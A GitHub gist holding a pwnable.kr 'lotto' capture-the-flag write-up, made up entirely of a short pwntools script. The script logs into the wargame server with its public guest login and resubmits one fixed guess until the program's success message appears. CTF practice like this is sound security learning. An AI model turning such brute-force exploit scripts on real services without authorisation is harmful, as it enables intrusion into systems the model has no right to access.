parksjin01/pwnable.kr lotto writeup.md

Last active March 16, 2017 20:43

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/parksjin01/c051ed3867e168a9cdd93006e4e5f001.js"></script>
Save parksjin01/c051ed3867e168a9cdd93006e4e5f001 to your computer and use it in GitHub Desktop.

pwnable.kr lotto writeup

Raw

    from pwn import *
sh = ssh(host = 'pwnable.kr', user='lotto', password = 'guest', port=2222)
proc = sh.process('/home/lotto/lotto')
proc.recv(1024)
while True:
	proc.sendline('1')
	proc.recv(1024)
	proc.sendline('######')
	a = proc.recv(1024)
	if 'sorry' in a:
		for i in a.split('\n'):
			if 'sorry' in i:
				print i
		break

  